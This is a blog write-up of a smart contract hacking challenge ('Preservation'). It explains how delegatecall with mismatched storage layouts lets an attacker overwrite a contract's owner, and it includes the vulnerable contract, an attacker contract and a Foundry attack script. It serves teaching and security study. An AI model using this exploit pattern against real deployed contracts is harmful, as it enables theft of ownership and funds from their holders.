Hacking Smart Contracts and Exploiting Vulnerabilities on the Blockchain

April 8, 2024

Contents

  • SmartContract vulnerabilites and how to exploit them.
  • Learning different web3 concepts.
  • Explaining hacks in web3 context

For Example

This is a smartcontract hacking demo as seen on my website web3hacking.xyz

Preservation

This contract utilizes a library to store two different times for two different timezones. The constructor creates two instances of the library for each time to be stored.

The goal of this level is for you to claim ownership of the instance you are given.

Things that might help

  • Look into Solidity's documentation on the delegatecall low level function, how it works, how it can be used to delegate operations to on-chain. libraries, and what implications it has on execution scope.
  • Understanding what it means for delegatecall to be context-preserving.
  • Understanding how storage variables are stored and accessed.
  • Understanding how casting works between different data types.

delegatecall is a low level function similar to call.

When contract Preservation executes delegatecall to contract LibraryContract, LibraryContract ’s code is executed with contract Preservation's storage, msg.sender and msg.value.

Preservation.sol & LibaryContract.sol contracts:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Preservation {

  // public library contracts 
  address public timeZone1Library;
  address public timeZone2Library;
  address public owner; 
  uint storedTime;
  // Sets the function signature for delegatecall
  bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

  constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) {
    timeZone1Library = _timeZone1LibraryAddress; 
    timeZone2Library = _timeZone2LibraryAddress; 
    owner = msg.sender;
  }
 
  // set the time for timezone 1
  function setFirstTime(uint _timeStamp) public {
    timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
  }

  // set the time for timezone 2
  function setSecondTime(uint _timeStamp) public {
    timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
  }
}

// Simple library contract to set the time
contract LibraryContract {

  // stores a timestamp 
  uint storedTime;  

  function setTime(uint _time) public {
    storedTime = _time;
  }
}

Storage Layout Preservation

forge inspect src/Preservation.sol:Preservation storage-layout --pretty
| Name             | Type    | Slot | Offset | Bytes | Contract                          |
|------------------|---------|------|--------|-------|-----------------------------------|
| timeZone1Library | address | 0    | 0      | 20    | src/Preservation.sol:Preservation |
| timeZone2Library | address | 1    | 0      | 20    | src/Preservation.sol:Preservation |
| owner            | address | 2    | 0      | 20    | src/Preservation.sol:Preservation |
| storedTime       | uint256 | 3    | 0      | 32    | src/Preservation.sol:Preservation |

Attack Plan

  1. We Deploy an attack contract, and update the timeZone1Library at storage slot 0. → to our attack contract.
  2. We can call setFirstTime again to such that our attack contract update storage slot 2.

Attack contract

We keep the same layout as the Preservation contract, so that when owner get’s updated it get’s updated at the same slot as in the Preservation contract.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Hack {
    address public timeZone1Library; //slot 0
    address public timeZone2Library; //slot 1
    address public owner; //slot 2

    function setTime(uint) public {
        owner = msg.sender;
    }
}

So what will happen is that the first time the following line gets executed:

  // set the time for timezone 1
  function setFirstTime(uint _timeStamp) public {
    timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
  }

contract LibraryContract {

  // stores a timestamp 
  uint storedTime;   //STORAGE SLOT 0! == address public timeZone1Library;

  function setTime(uint _time) public {
    storedTime = _time;
  }
}

The address of timeZone1Library gets executed and updated because the storage layout of LibraryContract updates the storage slot 0, with our contract address.

The Problem

The problem is that setFirstTime() expects an uint, and timeZone1Library is an address.

uint = 32 bytes → 64 hex

address = are 20 bytes long → 42 characters

Solution: We need to left pad our attacker contract address

AttackScript

forge script script/AttackScript.sol --rpc-url $RPC --broadcast -vvvvv
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {Preservation, LibraryContract} from "../src/Preservation.sol";
import {Attacker} from "../src/Attacker.sol";
import {Script} from "forge-std/Script.sol";

interface IPreservation {
    function setFirstTime(uint) external;
}

contract AttackScript is Script {
    IPreservation public target; // Renamed the variable to avoid shadowing

    function run() public {
        uint256 deployerPrivateKey = vm.envUint("PRIVATE_KEY");
        vm.startBroadcast(deployerPrivateKey);

        target = IPreservation(0x6E3262842615e614D9C0f8A9156FF11920777934);
        // deploy hack contract
        Attacker attacker = new Attacker();

        // add 20 zeros to the begin of the address
        // to make it 32 bytes long
        bytes32 attackAddressToUint = bytes32(uint256(uint160(address(attacker))));

        // set the first time to update timeZone1Library to attacker address
        target.setFirstTime(uint(attackAddressToUint));

        // When we call delegatecall, we are telling the EVM to execute the code in the context of the calling contract.
        // This is at our attack contract, so we can set the owner to our address.
        target.setFirstTime(uint(attackAddressToUint));
    }
}